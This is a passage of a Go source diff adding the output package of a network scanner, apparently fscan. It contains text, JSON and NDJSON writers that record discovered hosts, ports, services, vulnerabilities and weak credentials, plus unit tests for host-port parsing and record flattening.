// 文件操作常量
|
||||
// =============================================================================
|
||||
|
||||
const (
|
||||
// DefaultFilePermissions 文件操作权限
|
||||
DefaultFilePermissions = 0644
|
||||
// DefaultDirPermissions 目录操作权限
|
||||
DefaultDirPermissions = 0755
|
||||
|
||||
// DefaultFileFlags 文件打开标志
|
||||
DefaultFileFlags = os.O_CREATE | os.O_WRONLY | os.O_APPEND
|
||||
|
||||
// JSONIndentPrefix JSON格式化前缀
|
||||
JSONIndentPrefix = ""
|
||||
// JSONIndentString JSON格式化缩进字符串
|
||||
JSONIndentString = " "
|
||||
)
|
||||
@@ -0,0 +1,113 @@
|
||||
package output
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// Manager 简化的输出管理器
|
||||
type Manager struct {
|
||||
mu sync.RWMutex
|
||||
config *ManagerConfig
|
||||
writer Writer
|
||||
closed bool
|
||||
}
|
||||
|
||||
// NewManager 创建新的输出管理器
|
||||
func NewManager(config *ManagerConfig) (*Manager, error) {
|
||||
if config == nil {
|
||||
return nil, fmt.Errorf("output config cannot be nil")
|
||||
}
|
||||
|
||||
// 创建输出目录
|
||||
if err := createOutputDir(config.OutputPath); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
manager := &Manager{
|
||||
config: config,
|
||||
}
|
||||
|
||||
// 初始化写入器(内部会验证格式)
|
||||
if err := manager.initializeWriter(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return manager, nil
|
||||
}
|
||||
|
||||
// createOutputDir 创建输出目录
|
||||
func createOutputDir(outputPath string) error {
|
||||
dir := filepath.Dir(outputPath)
|
||||
return os.MkdirAll(dir, DefaultDirPermissions)
|
||||
}
|
||||
|
||||
// initializeWriter 初始化写入器
|
||||
func (m *Manager) initializeWriter() error {
|
||||
var writer Writer
|
||||
var err error
|
||||
|
||||
switch m.config.Format {
|
||||
case FormatTXT:
|
||||
writer, err = NewTXTWriter(m.config.OutputPath)
|
||||
case FormatJSON:
|
||||
writer, err = NewJSONWriter(m.config.OutputPath)
|
||||
case FormatCSV:
|
||||
writer, err = NewCSVWriter(m.config.OutputPath)
|
||||
default:
|
||||
return fmt.Errorf("unsupported format: %s", m.config.Format)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
m.writer = writer
|
||||
return m.writer.WriteHeader()
|
||||
}
|
||||
|
||||
// SaveResult 保存扫描结果
|
||||
func (m *Manager) SaveResult(result *ScanResult) error {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
|
||||
if m.closed {
|
||||
return fmt.Errorf("output manager is closed")
|
||||
}
|
||||
|
||||
if result == nil {
|
||||
return fmt.Errorf("result cannot be nil")
|
||||
}
|
||||
|
||||
return m.writer.Write(result)
|
||||
}
|
||||
|
||||
// Flush 刷新输出
|
||||
func (m *Manager) Flush() error {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
|
||||
if m.closed {
|
||||
return fmt.Errorf("output manager is closed")
|
||||
}
|
||||
|
||||
return m.writer.Flush()
|
||||
}
|
||||
|
||||
// Close 关闭输出管理器
|
||||
func (m *Manager) Close() error {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
if m.closed {
|
||||
return nil
|
||||
}
|
||||
|
||||
m.closed = true
|
||||
if m.writer != nil {
|
||||
return m.writer.Close()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,160 @@
|
||||
package output
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
type StdoutNDJSONWriter struct {
|
||||
mu sync.Mutex
|
||||
writer *bufio.Writer
|
||||
}
|
||||
|
||||
func NewStdoutNDJSONWriter() *StdoutNDJSONWriter {
|
||||
return &StdoutNDJSONWriter{
|
||||
writer: bufio.NewWriter(os.Stdout),
|
||||
}
|
||||
}
|
||||
|
||||
// ndjsonRecord NDJSON 输出的扁平化结构
|
||||
type ndjsonRecord struct {
|
||||
Type ResultType `json:"type"`
|
||||
Target string `json:"target"`
|
||||
Status string `json:"status"`
|
||||
Host string `json:"host,omitempty"`
|
||||
Port int `json:"port,omitempty"`
|
||||
Service string `json:"service,omitempty"`
|
||||
// 通用可选字段
|
||||
Protocol string `json:"protocol,omitempty"`
|
||||
Banner string `json:"banner,omitempty"`
|
||||
Title string `json:"title,omitempty"`
|
||||
URL string `json:"url,omitempty"`
|
||||
// 漏洞/弱口令
|
||||
Vulnerability string `json:"vulnerability,omitempty"`
|
||||
Username string `json:"username,omitempty"`
|
||||
Password string `json:"password,omitempty"`
|
||||
// 其他
|
||||
Plugin string `json:"plugin,omitempty"`
|
||||
Version string `json:"version,omitempty"`
|
||||
OS string `json:"os,omitempty"`
|
||||
}
|
||||
|
||||
func (w *StdoutNDJSONWriter) WriteResult(result *ScanResult) error {
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
|
||||
rec := w.flatten(result)
|
||||
data, err := json.Marshal(rec)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
data = append(data, '\n')
|
||||
if _, err := w.writer.Write(data); err != nil {
|
||||
return err
|
||||
}
|
||||
return w.writer.Flush()
|
||||
}
|
||||
|
||||
func (w *StdoutNDJSONWriter) flatten(r *ScanResult) *ndjsonRecord {
|
||||
rec := &ndjsonRecord{
|
||||
Type: r.Type,
|
||||
Target: r.Target,
|
||||
Status: r.Status,
|
||||
}
|
||||
|
||||
// 从 target 拆分 host:port
|
||||
if host, port, ok := splitHostPort(r.Target); ok {
|
||||
rec.Host = host
|
||||
rec.Port = port
|
||||
} else {
|
||||
rec.Host = r.Target
|
||||
}
|
||||
|
||||
d := r.Details
|
||||
if d == nil {
|
||||
return rec
|
||||
}
|
||||
|
||||
// 从 details 提升一级字段(覆盖拆分结果)
|
||||
if v, ok := d["port"]; ok {
|
||||
if p, ok := toInt(v); ok {
|
||||
rec.Port = p
|
||||
}
|
||||
}
|
||||
|
||||
rec.Service = strVal(d, "service")
|
||||
rec.Protocol = strVal(d, "protocol")
|
||||
if banner := strVal(d, "banner"); len(banner) > 200 {
|
||||
rec.Banner = banner[:200] + "..."
|
||||
} else {
|
||||
rec.Banner = banner
|
||||
}
|
||||
rec.Title = strVal(d, "title")
|
||||
rec.URL = strVal(d, "url")
|
||||
rec.Vulnerability = strVal(d, "vulnerability")
|
||||
if rec.Vulnerability == "" {
|
||||
rec.Vulnerability = strVal(d, "vulnerability_name")
|
||||
}
|
||||
rec.Username = strVal(d, "username")
|
||||
rec.Password = strVal(d, "password")
|
||||
rec.Plugin = strVal(d, "plugin")
|
||||
rec.Version = strVal(d, "version")
|
||||
rec.OS = strVal(d, "os")
|
||||
|
||||
return rec
|
||||
}
|
||||
|
||||
func (w *StdoutNDJSONWriter) Close() error {
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
return w.writer.Flush()
|
||||
}
|
||||
|
||||
func strVal(d map[string]interface{}, key string) string {
|
||||
v, ok := d[key]
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
s, ok := v.(string)
|
||||
if !ok {
|
||||
return fmt.Sprintf("%v", v)
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func toInt(v interface{}) (int, bool) {
|
||||
switch n := v.(type) {
|
||||
case int:
|
||||
return n, true
|
||||
case int64:
|
||||
return int(n), true
|
||||
case float64:
|
||||
return int(n), true
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
|
||||
func splitHostPort(target string) (string, int, bool) {
|
||||
host, portText, err := net.SplitHostPort(target)
|
||||
if err != nil {
|
||||
if strings.Count(target, ":") != 1 {
|
||||
return "", 0, false
|
||||
}
|
||||
parts := strings.SplitN(target, ":", 2)
|
||||
host, portText = parts[0], parts[1]
|
||||
}
|
||||
port, err := strconv.Atoi(portText)
|
||||
if err != nil {
|
||||
return "", 0, false
|
||||
}
|
||||
if host == "" || port < 1 || port > 65535 {
|
||||
return "", 0, false
|
||||
}
|
||||
return host, port, true
|
||||
}
|
||||
@@ -0,0 +1,122 @@
|
||||
package output
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSplitHostPort(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
target string
|
||||
wantHost string
|
||||
wantPort int
|
||||
wantOK bool
|
||||
}{
|
||||
{name: "ipv4", target: "192.168.1.1:80", wantHost: "192.168.1.1", wantPort: 80, wantOK: true},
|
||||
{name: "hostname", target: "example.com:443", wantHost: "example.com", wantPort: 443, wantOK: true},
|
||||
{name: "bracketed ipv6", target: "[2001:db8::1]:8443", wantHost: "2001:db8::1", wantPort: 8443, wantOK: true},
|
||||
{name: "bare ipv6 without port", target: "2001:db8::1", wantOK: false},
|
||||
{name: "invalid port", target: "example.com:abc", wantOK: false},
|
||||
{name: "port out of range", target: "example.com:65536", wantOK: false},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
host, port, ok := splitHostPort(tt.target)
|
||||
if ok != tt.wantOK {
|
||||
t.Fatalf("splitHostPort(%q) ok = %v, want %v", tt.target, ok, tt.wantOK)
|
||||
}
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
if host != tt.wantHost || port != tt.wantPort {
|
||||
t.Fatalf("splitHostPort(%q) = (%q, %d), want (%q, %d)", tt.target, host, port, tt.wantHost, tt.wantPort)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewStdoutNDJSONWriter(t *testing.T) {
|
||||
writer := NewStdoutNDJSONWriter()
|
||||
if writer == nil || writer.writer == nil {
|
||||
t.Fatalf("NewStdoutNDJSONWriter = %#v, want initialized writer", writer)
|
||||
}
|
||||
if err := writer.Close(); err != nil {
|
||||
t.Fatalf("Close error = %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStdoutNDJSONWriterWriteResult(t *testing.T) {
|
||||
var buf bytes.Buffer
|
||||
writer := &StdoutNDJSONWriter{writer: bufio.NewWriter(&buf)}
|
||||
|
||||
result := &ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "[2001:db8::1]:8443",
|
||||
Status: "OPEN",
|
||||
Details: map[string]interface{}{
|
||||
"port": float64(9443),
|
||||
"service": "https",
|
||||
"protocol": "tcp",
|
||||
"banner": 123,
|
||||
"title": "admin",
|
||||
"url": "https://[2001:db8::1]:8443",
|
||||
"vulnerability": "weak credential",
|
||||
"username": "admin",
|
||||
"password": "secret",
|
||||
"plugin": "webtitle",
|
||||
"version": "1.2.3",
|
||||
"os": "linux",
|
||||
},
|
||||
}
|
||||
|
||||
if err := writer.WriteResult(result); err != nil {
|
||||
t.Fatalf("WriteResult error = %v", err)
|
||||
}
|
||||
if err := writer.Close(); err != nil {
|
||||
t.Fatalf("Close error = %v", err)
|
||||
}
|
||||
|
||||
var rec ndjsonRecord
|
||||
if err := json.Unmarshal(bytes.TrimSpace(buf.Bytes()), &rec); err != nil {
|
||||
t.Fatalf("invalid ndjson output %q: %v", buf.String(), err)
|
||||
}
|
||||
if rec.Host != "2001:db8::1" || rec.Port != 9443 {
|
||||
t.Fatalf("host/port = %q/%d", rec.Host, rec.Port)
|
||||
}
|
||||
if rec.Service != "https" || rec.Protocol != "tcp" || rec.Banner != "123" || rec.Title != "admin" {
|
||||
t.Fatalf("flattened fields missing: %#v", rec)
|
||||
}
|
||||
if rec.URL != "https://[2001:db8::1]:8443" || rec.Vulnerability != "weak credential" {
|
||||
t.Fatalf("url/vuln fields missing: %#v", rec)
|
||||
}
|
||||
if rec.Username != "admin" || rec.Password != "secret" || rec.Plugin != "webtitle" || rec.Version != "1.2.3" || rec.OS != "linux" {
|
||||
t.Fatalf("credential/plugin fields missing: %#v", rec)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStdoutNDJSONFlattenFallbacks(t *testing.T) {
|
||||
writer := &StdoutNDJSONWriter{writer: bufio.NewWriter(&bytes.Buffer{})}
|
||||
|
||||
rec := writer.flatten(&ScanResult{
|
||||
Type: TypeHost,
|
||||
Target: "2001:db8::1",
|
||||
Status: "ALIVE",
|
||||
Details: map[string]interface{}{
|
||||
"port": int64(22),
|
||||
},
|
||||
})
|
||||
if rec.Host != "2001:db8::1" || rec.Port != 22 {
|
||||
t.Fatalf("flatten fallback = %#v", rec)
|
||||
}
|
||||
|
||||
if got, ok := toInt("22"); ok || got != 0 {
|
||||
t.Fatalf("toInt string = %d/%v, want 0/false", got, ok)
|
||||
}
|
||||
if got := strVal(map[string]interface{}{}, "missing"); got != "" {
|
||||
t.Fatalf("missing strVal = %q, want empty", got)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
package output
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ScanResult 扫描结果结构
|
||||
type ScanResult struct {
|
||||
Time time.Time `json:"time"` // 发现时间
|
||||
Type ResultType `json:"type"` // 结果类型
|
||||
Target string `json:"target"` // 目标(IP/域名/URL)
|
||||
Status string `json:"status"` // 状态描述
|
||||
Details map[string]interface{} `json:"details"` // 详细信息
|
||||
}
|
||||
|
||||
// FormatDetails 格式化Details为键值对字符串(排序key以保证输出稳定)
|
||||
func (r *ScanResult) FormatDetails(separator, kvFormat string) string {
|
||||
if len(r.Details) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
keys := make([]string, 0, len(r.Details))
|
||||
for key := range r.Details {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
pairs := make([]string, 0, len(keys))
|
||||
for _, key := range keys {
|
||||
pairs = append(pairs, fmt.Sprintf(kvFormat, key, r.Details[key]))
|
||||
}
|
||||
return strings.Join(pairs, separator)
|
||||
}
|
||||
|
||||
// Writer 输出写入器接口
|
||||
type Writer interface {
|
||||
Write(result *ScanResult) error
|
||||
WriteHeader() error
|
||||
Flush() error
|
||||
Close() error
|
||||
GetFormat() Format
|
||||
}
|
||||
|
||||
// ManagerConfig 输出管理器配置
|
||||
type ManagerConfig struct {
|
||||
OutputPath string `json:"output_path"` // 输出路径
|
||||
Format Format `json:"format"` // 输出格式
|
||||
}
|
||||
|
||||
// DefaultManagerConfig 默认管理器配置
|
||||
func DefaultManagerConfig(outputPath string, format Format) *ManagerConfig {
|
||||
return &ManagerConfig{
|
||||
OutputPath: outputPath,
|
||||
Format: format,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,812 @@
|
||||
package output
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/csv"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
)
|
||||
|
||||
// escapeControlChars 转义控制字符
|
||||
func escapeControlChars(s string) string {
|
||||
s = strings.ToValidUTF8(s, "?")
|
||||
|
||||
var b strings.Builder
|
||||
for _, r := range s {
|
||||
switch r {
|
||||
case '\n':
|
||||
b.WriteString("\\n")
|
||||
case '\r':
|
||||
b.WriteString("\\r")
|
||||
case '\t':
|
||||
b.WriteString("\\t")
|
||||
default:
|
||||
if r < 0x20 || r == 0x7f {
|
||||
fmt.Fprintf(&b, "\\x%02x", r)
|
||||
continue
|
||||
}
|
||||
b.WriteRune(r)
|
||||
}
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func truncateString(s string, maxRunes int) string {
|
||||
if maxRunes < 0 {
|
||||
return s
|
||||
}
|
||||
for i := range s {
|
||||
if maxRunes == 0 {
|
||||
return s[:i] + "..."
|
||||
}
|
||||
maxRunes--
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func targetWithPort(target string, port interface{}) string {
|
||||
if port == nil {
|
||||
return target
|
||||
}
|
||||
if _, _, err := net.SplitHostPort(target); err == nil {
|
||||
return target
|
||||
}
|
||||
portText := fmt.Sprint(port)
|
||||
if strings.TrimSpace(portText) == "" {
|
||||
return target
|
||||
}
|
||||
if strings.HasPrefix(target, "[") && strings.HasSuffix(target, "]") {
|
||||
target = strings.TrimPrefix(strings.TrimSuffix(target, "]"), "[")
|
||||
}
|
||||
if strings.Count(target, ":") == 1 {
|
||||
return target
|
||||
}
|
||||
return net.JoinHostPort(target, portText)
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// TXTWriter - 文本格式写入器
|
||||
// =============================================================================
|
||||
|
||||
// TXTWriter 文本格式写入器(分类缓冲,按类型聚合输出)
|
||||
type TXTWriter struct {
|
||||
file *os.File
|
||||
bufWriter *bufio.Writer
|
||||
mu sync.Mutex
|
||||
closed bool
|
||||
buffer *ResultBuffer // 内存分类缓冲
|
||||
realtimeFile *os.File // 实时备份文件
|
||||
realtimePath string // 实时备份文件路径
|
||||
}
|
||||
|
||||
// NewTXTWriter 创建文本写入器
|
||||
func NewTXTWriter(filePath string) (*TXTWriter, error) {
|
||||
file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create TXT file: %w", err)
|
||||
}
|
||||
|
||||
// 创建实时备份文件(防崩溃丢数据)
|
||||
realtimePath := filePath + ".realtime.tmp"
|
||||
realtimeFile, err := os.OpenFile(realtimePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
|
||||
if err != nil {
|
||||
file.Close()
|
||||
return nil, fmt.Errorf("failed to create realtime backup file: %w", err)
|
||||
}
|
||||
|
||||
return &TXTWriter{
|
||||
file: file,
|
||||
bufWriter: bufio.NewWriter(file),
|
||||
buffer: NewResultBuffer(),
|
||||
realtimeFile: realtimeFile,
|
||||
realtimePath: realtimePath,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// WriteHeader 写入头部
|
||||
func (w *TXTWriter) WriteHeader() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Write 收集扫描结果到分类缓冲,同时实时备份
|
||||
func (w *TXTWriter) Write(result *ScanResult) error {
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
|
||||
if w.closed {
|
||||
return fmt.Errorf("writer is closed")
|
||||
}
|
||||
if result == nil {
|
||||
return fmt.Errorf("result cannot be nil")
|
||||
}
|
||||
|
||||
// 1. 加入内存分类缓冲(用于最终有序输出)
|
||||
w.buffer.Add(result)
|
||||
|
||||
// 2. 实时写入备份文件(防崩溃丢数据)
|
||||
if w.realtimeFile != nil {
|
||||
line := w.formatLine(result)
|
||||
if _, err := w.realtimeFile.WriteString(line + "\n"); err != nil {
|
||||
return fmt.Errorf("failed to write realtime backup: %w", err)
|
||||
}
|
||||
if err := w.realtimeFile.Sync(); err != nil {
|
||||
return fmt.Errorf("failed to sync realtime backup: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// getSeparator 获取分隔线文本
|
||||
func (w *TXTWriter) getSeparator(newType ResultType) string {
|
||||
switch newType {
|
||||
case TypeHost:
|
||||
return i18n.GetText("output_section_hosts")
|
||||
case TypePort:
|
||||
return i18n.GetText("output_section_ports")
|
||||
case TypeService:
|
||||
return i18n.GetText("output_section_services")
|
||||
case TypeVuln:
|
||||
return i18n.GetText("output_section_vulns")
|
||||
default:
|
||||
return "# ===================="
|
||||
}
|
||||
}
|
||||
|
||||
// formatLine 根据结果类型格式化输出行
|
||||
func (w *TXTWriter) formatLine(result *ScanResult) string {
|
||||
switch result.Type {
|
||||
case TypeHost:
|
||||
return result.Target
|
||||
case TypePort:
|
||||
port := w.getDetail(result, "port")
|
||||
if port != nil {
|
||||
return targetWithPort(result.Target, port)
|
||||
}
|
||||
return result.Target
|
||||
case TypeService:
|
||||
return w.formatServiceLine(result)
|
||||
case TypeVuln:
|
||||
return w.formatVulnLine(result)
|
||||
default:
|
||||
return result.Target
|
||||
}
|
||||
}
|
||||
|
||||
// formatServiceLine 格式化服务识别结果
|
||||
func (w *TXTWriter) formatServiceLine(result *ScanResult) string {
|
||||
service := w.getDetailStr(result, "service")
|
||||
banner := w.getDetailStr(result, "banner")
|
||||
|
||||
// 判断是否为Web服务
|
||||
isWebFlag := false
|
||||
if v, ok := w.getDetail(result, "is_web").(bool); ok && v {
|
||||
isWebFlag = true
|
||||
}
|
||||
if !isWebFlag {
|
||||
if w.getDetail(result, "status") != nil || w.getDetailStr(result, "server") != "" {
|
||||
isWebFlag = true
|
||||
}
|
||||
}
|
||||
|
||||
if isWebFlag || service == "http" || service == "https" {
|
||||
return w.formatWebServiceLine(result)
|
||||
}
|
||||
|
||||
// 非Web服务:ip:port service banner
|
||||
target := targetWithPort(result.Target, w.getDetail(result, "port"))
|
||||
|
||||
var parts []string
|
||||
parts = append(parts, target)
|
||||
if service != "" {
|
||||
parts = append(parts, service)
|
||||
}
|
||||
if banner != "" {
|
||||
banner = escapeControlChars(banner)
|
||||
banner = truncateString(banner, 100)
|
||||
parts = append(parts, banner)
|
||||
}
|
||||
return strings.Join(parts, " ")
|
||||
}
|
||||
|
||||
// formatWebServiceLine 格式化Web服务结果
|
||||
func (w *TXTWriter) formatWebServiceLine(result *ScanResult) string {
|
||||
target := targetWithPort(result.Target, w.getDetail(result, "port"))
|
||||
|
||||
url := fmt.Sprintf("%s://%s", w.webProtocol(result, target), target)
|
||||
title := w.getDetailStr(result, "title")
|
||||
status := w.getDetail(result, "status")
|
||||
server := w.getDetailStr(result, "server")
|
||||
fingerprints := w.getFingerprints(result)
|
||||
|
||||
var parts []string
|
||||
parts = append(parts, url)
|
||||
if title != "" {
|
||||
parts = append(parts, fmt.Sprintf("[%s]", title))
|
||||
}
|
||||
if status != nil && status != 0 {
|
||||
parts = append(parts, fmt.Sprintf("%v", status))
|
||||
}
|
||||
if server != "" {
|
||||
parts = append(parts, server)
|
||||
}
|
||||
if len(fingerprints) > 0 {
|
||||
parts = append(parts, fingerprints)
|
||||
}
|
||||
return strings.Join(parts, " ")
|
||||
}
|
||||
|
||||
// getFingerprints 获取指纹信息并格式化
|
||||
func (w *TXTWriter) getFingerprints(result *ScanResult) string {
|
||||
fp := w.getDetail(result, "fingerprints")
|
||||
if fp == nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
switch v := fp.(type) {
|
||||
case []string:
|
||||
if len(v) > 0 {
|
||||
return "[" + strings.Join(v, ",") + "]"
|
||||
}
|
||||
case []interface{}:
|
||||
if len(v) > 0 {
|
||||
var fps []string
|
||||
for _, f := range v {
|
||||
fps = append(fps, fmt.Sprintf("%v", f))
|
||||
}
|
||||
return "[" + strings.Join(fps, ",") + "]"
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// formatVulnLine 格式化漏洞发现结果
|
||||
func (w *TXTWriter) formatVulnLine(result *ScanResult) string {
|
||||
vulnType := w.getDetailStr(result, "type")
|
||||
|
||||
if vulnType == "weak_credential" {
|
||||
username := w.getDetailStr(result, "username")
|
||||
password := w.getDetailStr(result, "password")
|
||||
service := w.getDetailStr(result, "service")
|
||||
|
||||
if service != "" {
|
||||
return fmt.Sprintf("%s %s %s/%s", result.Target, service, username, password)
|
||||
}
|
||||
return fmt.Sprintf("%s %s/%s", result.Target, username, password)
|
||||
}
|
||||
|
||||
vuln := w.getDetailStr(result, "vulnerability")
|
||||
if vuln == "" {
|
||||
vuln = w.getDetailStr(result, "vulnerability_name")
|
||||
}
|
||||
if vuln != "" {
|
||||
return fmt.Sprintf("%s %s", result.Target, vuln)
|
||||
}
|
||||
return fmt.Sprintf("%s %s", result.Target, result.Status)
|
||||
}
|
||||
|
||||
// getDetail 获取详情字段值
|
||||
func (w *TXTWriter) getDetail(result *ScanResult, key string) interface{} {
|
||||
if result.Details == nil {
|
||||
return nil
|
||||
}
|
||||
return result.Details[key]
|
||||
}
|
||||
|
||||
// getDetailStr 获取详情字段字符串值
|
||||
func (w *TXTWriter) getDetailStr(result *ScanResult, key string) string {
|
||||
val := w.getDetail(result, key)
|
||||
if val == nil {
|
||||
return ""
|
||||
}
|
||||
if s, ok := val.(string); ok {
|
||||
return s
|
||||
}
|
||||
return fmt.Sprintf("%v", val)
|
||||
}
|
||||
|
||||
// Flush 刷新写入器
|
||||
func (w *TXTWriter) Flush() error {
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
|
||||
if w.closed {
|
||||
return nil
|
||||
}
|
||||
|
||||
if err := w.bufWriter.Flush(); err != nil {
|
||||
return err
|
||||
}
|
||||
return w.file.Sync()
|
||||
}
|
||||
|
||||
// Close 关闭写入器(清理资源,删除临时备份)
|
||||
func (w *TXTWriter) Close() error {
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
|
||||
if w.closed {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 按顺序写入所有分类结果
|
||||
w.writeSection(TypeHost, w.buffer.HostResults)
|
||||
w.writeSection(TypePort, w.buffer.PortResults)
|
||||
w.writeSection(TypeService, w.buffer.ServiceResults)
|
||||
w.writeSection(TypeVuln, w.buffer.VulnResults)
|
||||
|
||||
// 单独输出 Web 服务列表(便于复制测试)
|
||||
w.writeWebServices()
|
||||
|
||||
w.closed = true
|
||||
|
||||
// 关闭并删除实时备份文件(正常结束,不再需要)
|
||||
if w.realtimeFile != nil {
|
||||
w.realtimeFile.Close()
|
||||
os.Remove(w.realtimePath)
|
||||
}
|
||||
|
||||
var firstErr error
|
||||
if err := w.bufWriter.Flush(); err != nil {
|
||||
firstErr = err
|
||||
}
|
||||
if err := w.file.Sync(); err != nil && firstErr == nil {
|
||||
firstErr = err
|
||||
}
|
||||
if err := w.file.Close(); err != nil && firstErr == nil {
|
||||
firstErr = err
|
||||
}
|
||||
return firstErr
|
||||
}
|
||||
|
||||
// writeSection 写入一个分类的所有结果
|
||||
func (w *TXTWriter) writeSection(resultType ResultType, results []*ScanResult) {
|
||||
if len(results) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
separator := w.getSeparator(resultType)
|
||||
_, _ = w.bufWriter.WriteString(separator + "\n")
|
||||
|
||||
for _, result := range results {
|
||||
line := w.formatLine(result)
|
||||
if line != "" {
|
||||
_, _ = w.bufWriter.WriteString(line + "\n")
|
||||
}
|
||||
}
|
||||
_, _ = w.bufWriter.WriteString("\n")
|
||||
}
|
||||
|
||||
// writeWebServices 单独输出 Web 服务 URL 列表
|
||||
func (w *TXTWriter) writeWebServices() {
|
||||
var urls []string
|
||||
|
||||
for _, result := range w.buffer.ServiceResults {
|
||||
if !w.isWebService(result) {
|
||||
continue
|
||||
}
|
||||
|
||||
target := targetWithPort(result.Target, w.getDetail(result, "port"))
|
||||
|
||||
urls = append(urls, fmt.Sprintf("%s://%s", w.webProtocol(result, target), target))
|
||||
}
|
||||
|
||||
if len(urls) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
_, _ = w.bufWriter.WriteString(i18n.GetText("output_section_web_services") + "\n")
|
||||
for _, url := range urls {
|
||||
_, _ = w.bufWriter.WriteString(url + "\n")
|
||||
}
|
||||
_, _ = w.bufWriter.WriteString("\n")
|
||||
}
|
||||
|
||||
// isWebService 判断是否为 Web 服务
|
||||
func (w *TXTWriter) isWebService(result *ScanResult) bool {
|
||||
if v, ok := w.getDetail(result, "is_web").(bool); ok && v {
|
||||
return true
|
||||
}
|
||||
if w.getDetail(result, "status") != nil {
|
||||
return true
|
||||
}
|
||||
if w.getDetailStr(result, "server") != "" {
|
||||
return true
|
||||
}
|
||||
service := w.getDetailStr(result, "service")
|
||||
return service == "http" || service == "https"
|
||||
}
|
||||
|
||||
func (w *TXTWriter) webProtocol(result *ScanResult, target string) string {
|
||||
protocol := strings.ToLower(w.getDetailStr(result, "protocol"))
|
||||
if protocol == "http" || protocol == "https" {
|
||||
return protocol
|
||||
}
|
||||
|
||||
service := strings.ToLower(w.getDetailStr(result, "service"))
|
||||
if service == "https" || strings.Contains(target, ":443") {
|
||||
return "https"
|
||||
}
|
||||
return "http"
|
||||
}
|
||||
|
||||
// GetFormat 获取格式类型
|
||||
func (w *TXTWriter) GetFormat() Format {
|
||||
return FormatTXT
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// JSONWriter - JSON格式写入器
|
||||
// =============================================================================
|
||||
|
||||
// JSONWriter JSON格式写入器(分类去重,输出完整JSON)
|
||||
// 双写机制:内存分类缓冲 + 实时NDJSON备份
|
||||
type JSONWriter struct {
|
||||
file *os.File
|
||||
mu sync.Mutex
|
||||
closed bool
|
||||
buffer *ResultBuffer
|
||||
realtimeFile *os.File // 实时备份文件(NDJSON格式)
|
||||
realtimePath string // 实时备份文件路径
|
||||
}
|
||||
|
||||
// JSONOutput JSON输出结构
|
||||
type JSONOutput struct {
|
||||
ScanTime time.Time `json:"scan_time"`
|
||||
Summary JSONSummary `json:"summary"`
|
||||
Hosts []*ScanResult `json:"hosts,omitempty"`
|
||||
Ports []*ScanResult `json:"ports,omitempty"`
|
||||
Services []*ScanResult `json:"services,omitempty"`
|
||||
Vulns []*ScanResult `json:"vulns,omitempty"`
|
||||
}
|
||||
|
||||
// JSONSummary 扫描摘要
|
||||
type JSONSummary struct {
|
||||
TotalHosts int `json:"total_hosts"`
|
||||
TotalPorts int `json:"total_ports"`
|
||||
TotalServices int `json:"total_services"`
|
||||
TotalVulns int `json:"total_vulns"`
|
||||
}
|
||||
|
||||
// NewJSONWriter 创建JSON写入器
|
||||
